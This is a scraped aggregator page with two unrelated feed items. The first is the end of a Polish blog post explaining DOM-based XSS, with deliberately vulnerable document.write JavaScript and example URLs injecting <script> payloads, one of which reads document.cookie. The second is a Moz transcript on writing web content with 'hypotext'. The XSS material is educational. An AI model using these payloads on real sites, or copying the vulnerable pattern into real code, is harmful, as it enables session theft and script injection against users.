serwera. Podobny jest za to do Reflected XSS, ponieważ zwykle należy przekazać użytkownikowi spreparowany URL. Jak sama nazwa wskazuje, atak polega na odpowiednim (nieprzewidzianym przez autora) modyfikowaniu DOM. W klasycznym reflected XSS, to serwer modyfikuje odpowiedź i wspomniane wstrzyknięcie kodu również następuje poza przeglądarką użytkownika. Klasyczny scenariusz DOM-based XSS to: Spreparowany link jest wysłany do ofiary Ofiara otwiera stronę. Odpowiedź generowana przez serwer nie zawiera nic podejrzanego. Przeglądarka modyfikuje DOM w sposób nieoczekiwany ponieważ jeden z parametrów w spreparowanym linku jest wstrzykiwany po stronie klienta. Najlepiej zaprezentować to na przykładzie. Załóżmy, ze funkcjonalność wyświetlania błędów zaimplementowana w poprzednim poście, została przeniesiona do JS: <script> var url = document.location; var errorMsg = url.substring(url.indexOf('error=') + 8, url.length); document.write(errorMsg ); </script> Jeśli ktoś przekaże jako parametr error, kod JS, a nie wiadomość, wtedy oczywiście efekt będzie taki sam jak w przypadku reflected xss. Łatwo sobie wyobrazić następujący URL: www.domain.com\error?message=<script>alert('test')</script> Chciałbym jeszcze zaprezentować przykład z OWASP. Załóżmy, że formularz wyboru języka na stronie wygląda następująco: Select your language: <select><script> document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>"); document.write("<OPTION value=2>English</OPTION>"); </script></select> Domyślny język jest przekazywany jest jako query parameter o nazwie “default”. Spodziewane wykorzystanie formularza to np.: http://www.some.site/page.html?default=Polish Łatwo jednak domyślić się, że ktoś może: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> XSS jest dość znany i frameworki takie jak ASP.NET MVC, domyślnie potrafią np. kodować wyświetlane treści. Po stronie klienta sprawa wygląda zupełnie inaczej. Nie wszyscy korzystają z podobnych rozwiązań po stronie klienta (np. Angular). Bardzo często , szczególnie w skomplikowanych systemach, warstwa prezentacji w JS jest bardzo cienka i co za tym idzie, nie jest zbyt szczegółowo analizowana pod kątem bezpieczeństwa. Z tego względu, w praktyce łatwiej znaleźć strony podatne na “DOM-Based XSS” niż klasyczny “Reflected XSS”. Wyświetl pełny artykuł
  25. Posted by Dan-Petrovic We tend to put a lot of effort into writing great content these days. But what's the point of all that hard work if hardly anybody actually reads it through to the end? In this week's Whiteboard Friday, Dan Petrovic illustrates a new approach to writing for the web to increase reader engagement, and offers some tools and tips to help along the way. Click on the whiteboard image above to open a high resolution version in a new tab! Video TranscriptionG'day, Moz fans, Dan Petrovic from DEJAN here. Today we're talking about how to write for the web. How much of an article will people actually read?This year we did an interesting study involving 500 people. We asked them how do they read online. We found that the amount of people who actually read everything word-for-word is 16%. Amazingly, this is exactly the same statistic, the same percentage that Nielsen came up with in 1997. It's been nearly two decades, and we still haven't learned how to write for the Web. I don't know about you guys, but I find this to be a huge opportunity, something we can do with our blogs and with our content to change and improve how we write in order to provide better user experience and better performance for our content. Essentially, what happens is four out of five people that visit your page will not actually read everything you wrote. The question you have to ask yourself is: Why am I even writing if people are not reading? I went a little bit further with my study, and I asked those same people: Why is it that you don't read? How is it that there are such low numbers for the people who actually read? The answer was, "Well, I just skip stuff." "I don't have time for reading." "I mainly scan," or, "I read everything." That was 80 out of 500 people. The rest said, "I just read the headline and move on," which was amazing to hear. Further study showed that people are after quick answers. They don't want to be on a page too long. They sometimes lose interest halfway through reading the piece of content. They find the bad design to be a deterrent. They find the subject matter to be too complex or poorly written. Sometimes they feel that the writing lacks credibility and trust. I thought, okay, there's a bunch of people who don't like to read a lot, and there's a bunch of people who do like to read a lot. How do I write for the web to satisfy both ends? Here was my dilemma. If I write less, the effort for reading my content is very low. It satisfies a lot of people, but it doesn't provide the depth of content that some people expect and it doesn't allow me to go into storytelling. Storytelling is very powerful, often. If I write more, the effort will be very high. Some people will be very satisfied, but a lot of people will just bounce off. It'll provide the depth of content and enable storytelling. Actually, I ended up finding out something I didn't know about, which was how journalists write. This is a very old practice called "inverted pyramid." The rules are, you start off with a primary piece of information. You give answers straight up. Right after that you go into the secondary, supporting information that elaborates on any claims made in the first two paragraphs. Right after that we go into the deep content. I thought about this, and I realized why this was written in such a way: because people used to read printed stuff, newspapers. They would go read the most important thing, and if they drop off at this point, it's not so bad because they know actually what happened in the first paragraph. The deep content is for those who have time. But guess what? We write for the web now. So what happens is we have all this technology to change things and to embed things. We don't really have to wait for our users to go all the way to the bottom to read deep information. I thought, "How can I take this deep information and make it available right here and right there to give those interested extra elaboration on a concept while they're reading something?" This is when I decided I'll dive deeper into the whole thing. Here's my list. This is what I promised myself to do. I will minimize interruption for my readers. I will give them quick answers straight in the first paragraph. I will support easy scanning of my content. I will support trust by providing citations and references. I will provide in-depth content to those who want to see it. I will enable interactivity, personalization, and contextual relevance to the piece of content people want to retrieve in that particular time. I took one of my big articles and I did a scroll test on it. This was the cutoff point where people read everything. At this point it drops to 95, 80, 85. You keep losing audience as your article grows in size. Eventually you end up at about 20% of people who visit your page towards the bottom of your article. My first step was to jump on the Hemingway app—a very good online app where you can put in your content and it tells you basically all the unnecessary things you've actually put in your words—to actually take them out because they don't really need to be there. I did that. I sized down my article, but it still wasn't going to do the trick. Enter the hypotext!This is where I came up with an idea of hypotext. What I did, I created a little plugin for WordPress that enables people to go through my article, click on a particular piece, kind of like a link. Instead of going to a new website, which does interrupt their reading experience, a block of text opens within the paragraph of text they're reading and gives them that information. They can click if they like, or if they don't want to look up this information, they don't have to. It's kind of like links, but injected right in the context of what they're currently reading. This was a nerve-wracking exercise for me. I did 500 revisions of this article until I got it right. What used to be a 5,000-word article turned into a 400-word article, which can then be expanded to its original 5,000-word form. People said, "That's great. You have a nice hypothesis, nice theory, but does this really work?" So I decided to put everything I did to a test. An old article, which takes about 29 minutes to read, was attracting people to the page, but they were spending 6 minutes on average—which is great, but not enough. I wanted people to spend way more time. If I put the effort into writing, I wanted them to digest that content properly. The bounce rate was quite high, meaning they were quite tired with my content, and they just wanted to move on and not explore anything else on my website. Test ResultsAfter implementing the compressed version of my original article, giving them a choice of what they will read and when, I expanded the average time on page to 12 minutes, which is extraordinary. My bounce rate was reduced to 60%, which meant that people kept browsing for more of my content. We did a test with a content page, and the results were like this: Basically, the engagement metrics on the new page were significantly higher than on the old when implemented in this way. On a commercial landing page, we had a situation like this: We only had a small increase in engagement. It was about 6%. Still very happy with the results. But what really, really surprised me was on my commercial landing page—where I want people to actually convert and submit an inquiry—the difference was huge. It was about a 120% increase in the inquiries in comparison to the control group when I implemented this type of information. I removed the clutter and I enabled people to focus on making the inquiry. I want you all to think about how you write for the web, what is a good web reading experience, and how content on the web should be, because I think it's time to align how we write and how we read on the web. Thank you. Video transcription by Speechpad.com A few notes:There are a few things to note here. First, for an example of an implementation of hypotext, take a look at this post on user behavior data. Next, keep in mind that Google does devalue the hidden content, disagreeing with its usability. You can read more about this on the DEJAN blog—there are further tips on the dangers of hidden content and how you can combat them there. One solution is to reverse how hypotext works in an article. Rather than defaulting to the shorter piece, you can start by showing the full text and offer a "5-minute-read" link (example here) for those inclined to skim or not interested in the deep content. Share your thoughts in the comments below, and thanks for listening! Sign up for The Moz Top 10, a semimonthly mailer updating you on the top ten hottest pieces of SEO news, tips, and rad links uncovered by the Moz team. Think of it as your exclusive digest of stuff you don't have time to hunt down but want to read! Wyświetl pełny artykuł
×
×
  • Utwórz nowe...